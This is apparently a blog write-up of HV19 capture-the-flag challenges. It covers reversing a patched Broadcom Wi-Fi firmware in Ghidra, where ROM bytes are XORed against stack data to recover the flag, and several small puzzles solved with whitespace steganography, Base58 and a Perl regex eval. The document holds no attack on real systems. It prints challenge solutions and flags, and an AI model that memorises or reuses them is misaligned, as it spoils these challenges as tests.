Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBhcmUgYmx1ZSwgRHJTY2hvdHRreSBsb3ZlcyBob29raW5nIGlvY3Rscywgd2h5IHNob3VsZG4ndCB5b3U/
pGnexmon_ver: 2.2.2-269-g4921d-dirty-16
wl%d: Broadcom BCM%s 802.11 Wireless Controller %s
DehW
kDej
DehKT
kDehv
kDeh
kDehv
-R#7
+./1y
-).T
[#EKIG(
43430a1-roml/sdio-g-p2p-pool-pno-pktfilter-keepalive-aoe-mchan-tdls-proptxstatus-ampduhostreorder-lpc-sr-bcmcps Version: 7.45.41.46 (r666254 CY) CRC: 970a33e2 Date: Mon 2017-08-07 00:48:36 PDT Ucode Ver: 1043.206
FWID 01-ef6eb4d3
The interesting parts are:
Um9zZ...
: An unusually long cleartext string; turns out it's base64 and encodes the following marvelous poem: "Roses are red, Violets are blue, DrSchottky loves hooking ioctls, why shouldn't you?"...nexmon_ver: 2.2.2...
: Nexmon is a firmware patching framework to which, oh surprise, the challenge author DrSchottky contributes. mcia confirmed, that this was most probably the right track.Another thing I did then was looking up the original firmware, as the one provided has obviously been patched. I found an original firmware at https://github.com/RPi-Distro/firmware-nonfree/tree/master/brcm.
Back to Ghidra.
Loading in both firmwares and diffing them (which is something that comes with Ghidra) showed, that the base64 string was referenced by a function (FUN_00058dd8
), that's been added by DrSchottky. The function looks as follows. Let's follow up on that.
Looking at the decompiled C representation of that function, its XOR operation is striking. It XORs some stack values (SP+0x8
) with some data values (pointed to by 0x00058e88
, resulting in 0x00058eab
).
At the indicated stack address we have the following values: 09 bc 31 3a 68 1a ab 72 47 86 7e e6 4a 1d 6f 04 2e 74 50 0d 78 06 3e 00
The initial data values are (I removed the leading 00
as it's skipped right away): 29 6a 91 44 3b be 27 15 92 07 c9 f3 47 77 ed e5 26 10 76 74 80 57 1f 00
XORing this results in some gibberish. Doh... However, that gibberish gets processed further by some function func_0x00803cd4
which is not part of this binary. There's more! Somewhere...
Reading up about how this firmware behaves and what else it could address, I stumbled over the following text, which suggests that the chip's ROM part starts at address 0x800000: https://github.com/seemoo-lab/nexmon/#dumping-the-rom-directly.
So, let's get that ROM, then. That's easier said than done. Hours later, and thanks to logical overflow and bread, I found it: https://github.com/seemoo-lab/bcm_misc/blob/master/bcm43430a1/rom.bin. Close enough - let's see whether it makes sense. Loading into Ghidra at base address 0x800000 made it meaningful.
It turns out, func_0x00803cd4
is some sort of strcpy function, copying n bytes (param_3
) from a memory location (param_2
) to another (param_1
). Not much new for our challenge, then.
Ok, let's look at what happens if we proceed in a smarter way. Let's consider the branches which test for 0xcafe
, 0xd00d
and 0x1337
(which seem suspicious, given these oddly specific and CTF-like values).
If param_2
takes the value 0xcafe
, the base64 string is copied to the address indicated by param_3
and returns. If it takes 0x1337
, we go down the XOR path. What if it takes 0xd00d
?
If param_2
takes 0xd00d
, FUN_00002390
is called, which is in the initial (unpatched) binary. Some closer analysis indicated, that it is referenced quite often and it seems to be some sort of efficient memcpy copying n bytes (param_3
) from one memory location (param_2
) to another (param_1
).
Looking at the parameters given to FUN_00002390
, it seems that we copy 0x17
bytes from 0x800000
to 0x00058eac
(which 0x00058e8c
points to).
Let's digest this (it took me quite a while): The program copies bytes from the beginning of the ROM and places them to the location used for XORing. If that's not a milestone!?
The first 0x17
bytes of the ROM are: 41 ea 00 03 13 43 9b 07 30 b5 10 d1 0c 68 03 68 63 40 13 60 4c 68 43
XORed with the value on the stack, this gives: 48 56 31 39 7b 59 30 75 77 33 6e 37 46 75 6c 6c 4d 34 43 6d 34 6e 7d
...which is our flag!
So, to summarize, the analysed function has to be called twice. Once with a value of 0xd00d
to initialize data and a second time with a value of 0x1337
to do the XOR and get the flag.
As described, I took the diff between the patched firmware and the original one. Turns out, this was more a disctractor than a help. With differing sections being highlighted, I decided to have a look at them at some point. That was the start of a veeery deep rabbit hole.
0xcc managed to pull me out of that rabbit hole a couple of hours before the challenge's deadline for full points.
In the process of solving this challenge, I also learned a lot about ARM architectures and binaries, which can be in ARM mode (32 bit), thumb mode (16 bit) etc. This link also made me discover disarm
.
I also discovered that there's much more about firmware reversing to be learned. Another link to keep is https://blog.quarkslab.com/reverse-engineering-broadcom-wireless-chipsets.html.
In addition to what was needed for the flag, I reversed the remaining function call FUN_00058d9c
, which seems to initialize a data stucture, but was not helpful beyond that.
I also went into FUN_000455f8
, FUN_000567f0
, FUN_00055f9c
(!!!) and FUN_00055e54
, all of which was just wasted time (and excercise).
HV19{Y0uw3n7FullM4Cm4n}
Author | Level | Categories |
---|---|---|
hidden | novice | fun |
Day 06 > the Copy&Paste box contains whitespaces and tabs:
Born: January 22
Died: April 9
Mother: Lady Anne
Father: Sir Nicholas
Secrets: unknown
It's not morse, it's not ASCII, it's not a whitespace program. It's simply whitespace stego.
Credits to mcia for phrasing out what I observed, but wasn't able to type out myself - leading to the snow/stegsnow tool. http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
# The following command probably doesn't work in a shell, but you get the point... ;)
cat << EOF
EOF > bla.txt
stegsnow -C bla.txt
HV19{1stHiddenFound}
Author | Level | Categories |
---|---|---|
inik | novice | fun |
The zip file from HV19.07.
Unzipping the zip file from HV19.07 produces an mp4 file called 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4
.
Decode this file's base name with Base58 and get the flag.
HV19{Dont_confuse_0_and_O}
Author | Level | Categories |
---|---|---|
M./inik | novice | fun; penetration testing |
"Not each quote is compl"
Hidden three appeared together with HV19.11.
In other news, the flag was commented as follows (as tweeted by @Cac0nym):
HV19{an0ther_DAILY_fl4g}
Author | Level | Categories |
---|---|---|
M. | novice | fun; programming |
Not much;
Hidden 04 appeared together with HV19.14.
Take the flag from HV19.14 and "run" it:
HV19{s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20\n^&&s[(.)(..)][\2\1]g;s%4(...)%"p$1t"%ee}
And split it up into multiple regexes.
$a="";
$a=~s@@jSfx4gPcvtiwxPCagrtQ@; # s-function: substitute
print "${a}\n";
$a=~y^p-za-oPQ^a-z\x20\n^; # y-function: transliterate
print "${a}\n";
$a=~ s[(.)(..)][\2\1]g; # substitute globally (modifier: g)
print "${a}\n";
# Prints "Squ4ring the Circle"
$a=~s%4(...)%"p$1t"%ee; # modifier: ee - evaluate the right side as a string then eval the result
print "${a}\n";
# Prints "Squ1g the Circle"
Investigating on modifers, the last expression obviously was meant to print out the flag.
When run as a script, however, this does not work. So, I've taken the intermediary string to submit as a flag.
After a quick chat with M. (the author of the challenge), I learned that this kind of things can be run directly inline:
Thanks M. for being patient with me.
HV19{Squ4ring the Circle}